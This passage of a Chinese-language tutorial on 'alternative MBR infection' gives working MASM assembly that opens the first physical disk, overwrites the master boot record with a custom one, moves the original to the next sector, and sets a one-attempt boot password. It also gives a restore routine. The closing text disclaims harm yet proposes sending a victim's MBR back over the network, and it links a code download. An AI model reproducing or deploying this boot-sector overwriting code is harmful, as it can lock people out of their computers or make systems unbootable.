invoke CreateFile,offset szFileName1, /
GENERIC_READ or GENERIC_WRITE, / ; ★
FILE_SHARE_READ or FILE_SHARE_WRITE, /
NULL, /
OPEN_EXISTING, /
NULL, /
NULL ; 打开文件(第一个物理硬盘)
.if eax == INVALID_HANDLE_VALUE
invoke MessageBox,NULL,offset szErrMessage1,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 打开错误,则显示提示后退出
.endif
mov hFile,eax
; 读硬盘主引导记录第一个物理扇区到szBuffer2
invoke ReadFile,hFile, /
offset szBuffer2, /
SECTOR_BYTES, /
offset dwRW, /
NULL ; 读
.if eax == NULL
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage21,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.elseif dwRW !=SECTOR_BYTES
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage22,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.endif
mov dwRW,0
; ★test
; 判定是否已经运行过本程序
lea ebx,szBuffer2
add ebx,szIDAddr
mov eax,[ebx]
.if eax == 055AAAA55h
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit
.endif
; 复制到szBuffer1——原主引导扇区在后续启动中,可能被用到其中一些关键数据,所以尽量不破坏
cld
lea edi,szBuffer1
lea esi,szBuffer2
mov ecx,SECTOR_BYTES
rep movsb
; 改写数据,把我的MBR写到第一物理扇区,原来的MBR写到第二物理扇区
lea edi,szBuffer1
lea esi,szMyMBR
mov ecx,szMyMBRLen
rep movsb
;
;编程提示:要先调整指针
invoke SetFilePointer,hFile,0,NULL,FILE_BEGIN ; 移动文件指针到物理第1扇区第零字节
; 写硬盘第一、第二物理扇区
invoke WriteFile,hFile, /
offset szBuffer1, /
SECTOR_BYTES*2, /
offset dwRW, /
NULL ; 写硬盘主引导扇区
.if eax == NULL
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage5,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.elseif dwRW !=SECTOR_BYTES*2
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage5,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.endif
mov dwRW,0
; 再读硬盘第一、第二物理扇区
invoke SetFilePointer,hFile,0,NULL,FILE_BEGIN ; 移动文件指针到物理第零扇区第零字节
invoke ReadFile,hFile, /
offset szBuffer1, /
SECTOR_BYTES*2, /
offset dwRW, /
NULL ; 读硬盘主引导扇区
invoke CloseHandle,hFile ; 关闭句柄
.if eax == NULL
invoke MessageBox,NULL,offset szErrMessage23,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.elseif dwRW !=SECTOR_BYTES*2
invoke MessageBox,NULL,offset szErrMessage24,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.endif
; —————————————————————————核心结束———————————————————————————
; 创建"MBR.bin"文件
mov dwRW,0
invoke CreateFile,addr szFileName2, /
GENERIC_WRITE, /
FILE_SHARE_READ, /
0, /
CREATE_ALWAYS, /
FILE_ATTRIBUTE_NORMAL, /
0 ; 创建或者打开主引导记录文件
.if eax == INVALID_HANDLE_VALUE
invoke MessageBox,NULL,offset szErrMessage3,offset szCaption1,MB_OK or MB_ICONQUESTION
jmp _exit
.endif
mov hFile,eax
; 保存二进制形式数据到文件"MBR.bin"
invoke WriteFile,eax, /
offset szBuffer1, /
SECTOR_BYTES*2, /
addr dwRW, /
NULL ; 写数据到指定文件
push eax
invoke CloseHandle,hFile ; 关闭句柄
pop eax
.if eax == NULL
invoke MessageBox,NULL,offset szErrMessage4,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.elseif dwRW !=SECTOR_BYTES*2
invoke MessageBox,NULL,offset szErrMessage4,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.endif
; 为成功欢呼
invoke MessageBox,NULL,offset szOkmessage,offset szCaption2,MB_OK or MB_ICONINFORMATION
;
_exit: invoke ExitProcess,NULL
end start
至此,我们的目标已经实现了。
[+] 灰飞烟灭----恢复原来的MBR
恢复的过程同样是操作文件,在此就不赘述了!直接给出代码。
.code
start:
invoke MessageBox,NULL,offset szMessage,offset szCaption2,MB_OK or MB_ICONINFORMATION
; —————————————————————————核心—————————————————————————————
; 打开第一个物理硬盘
invoke CreateFile,offset szFileName, /
GENERIC_READ or GENERIC_WRITE, / ; ★
FILE_SHARE_READ or FILE_SHARE_WRITE, /
NULL, /
OPEN_EXISTING, /
NULL, /
NULL ; 打开文件(第一个物理硬盘)
.if eax == INVALID_HANDLE_VALUE
invoke MessageBox,NULL,offset szErrMessage1,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 打开错误,则显示提示后退出
.endif
mov hFile,eax
; 读硬盘第一、第二物理扇区
invoke ReadFile,hFile, /
offset szBuffer1, /
SECTOR_BYTES*2, /
offset dwRW, /
NULL ; 读硬盘主引导扇区
.if eax == NULL
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage2,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.elseif dwRW !=SECTOR_BYTES*2
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage2,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.endif
mov dwRW,0
; ★test
; 判定是否已经运行过本程序
lea ebx,szBuffer1
add ebx,szIDAddr
mov eax,[ebx]
.if eax != 055AAAA55h
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit
.endif
; 复制到szBuffer2到szBuffer1——把原主引导扇区复制到szBuffer1
cld
lea edi,szBuffer1
lea esi,szBuffer2
mov ecx,SECTOR_BYTES
rep movsb
;
;编程提示:要先调整指针
invoke SetFilePointer,hFile,0,NULL,FILE_BEGIN ; 移动文件指针到物理第1扇区第零字节
; 写硬盘第一、第二物理扇区
invoke WriteFile,hFile, /
offset szBuffer1, /
SECTOR_BYTES*2, /
offset dwRW, /
NULL ; 写硬盘主引导扇区
.if eax == NULL
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage3,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.elseif dwRW !=SECTOR_BYTES*2
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage3,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.endif
invoke CloseHandle,hFile ; 关闭句柄
; 为成功欢呼
invoke MessageBox,NULL,offset szOkmessage,offset szCaption2,MB_OK or MB_ICONINFORMATION
;
_exit: invoke ExitProcess,NULL
end start
只和上面的代码有少许的区别,到此全部有关内容就结束了。
[+] 其他
是不是很有趣呢?呼呼!记住,当重启系统看到效果后,会提示输入密码3.14159(你只有一次输入的机会哦!)
[-] 总结
回头看看,其实最核心的部分是主引导记录的结构。实际上我们见到的硬盘锁也用到了这些知识。这些东西还需要大家慢慢的研究和琢磨。另外,
文章中的源码在windows 2000 xp下经过了测试,不要危害他人哦!我们只研究技术,不搞破坏。
以上讲的只是一种实现,其实我们还有可以改进的地方,加上二进制显示并再同时生成一个可用记事本打开、16进制的文本文件“MBR.txt”就更理想了,
希望感兴趣的朋友可以改进下,另外还可以把我们的思路再扩展一下:读取和改写任意数量的物理扇区、能让使用者把其机器的MBR用网络发回。这样岂不是更好?
呼呼!期待高手来完成了。
代码及bin的下载见--代码&&工具中
http://www.vxjump.net/files/a_page/4/code1.htm
MBR另类感染技术
最新推荐文章于 2019-07-08 12:31:04 发布